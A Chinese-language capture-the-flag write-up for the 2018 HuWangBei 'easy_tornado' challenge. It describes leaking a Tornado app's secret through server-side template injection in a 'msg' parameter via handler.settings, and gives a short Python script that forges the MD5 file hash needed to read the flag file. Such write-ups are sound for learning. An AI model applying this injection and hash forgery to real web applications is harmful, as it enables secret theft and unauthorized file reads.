[护网杯 2018] easy_tornado

题目名字 tornado 百度搜一下,是个 python 的 web 框架

image-20210607114817548

题目给了 3 个文件

第一个文件知道了,flag 在 /fllllllllllllag

image-20210607114659285

第二个文件知道是 python 的 render 模块生成的页面

image-20210607114731950

在 url 中看出来,读取文件,需要俩个参数,一是文件名。二是文件的 hash 验证。

image-20210607114916702

我们直接读取会跳转报错页面,且 msg 参数可控,那么这里就能造成命令注入了。

image-20210607115023824

tornado 模板 可以用 handler.settings 获取环境变量。

image-20210607125018806

参考: python SSTI tornado render 模板注入

在第三个文件,还知道了文件 hash 的计算方式,那么写脚本,即可生成 hash

image-20210607125108093

脚本如下:

import hashlib
 
def md5encode(str):
    m = hashlib.md5()
    m.update(str)
    return m.hexdigest()
 
 
name = '/fllllllllllllag'
secret = '5bdc4b25-cc6f-478e-8f2a-899ca43b4364'
name = name.encode()
bb = md5encode((secret + md5encode(name)).encode())
print(bb)

生成 hash 提交访问,即可拿到 flag。

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

zeroc 微信支付

微信支付

zeroc 支付宝

支付宝

zeroc 贝宝

贝宝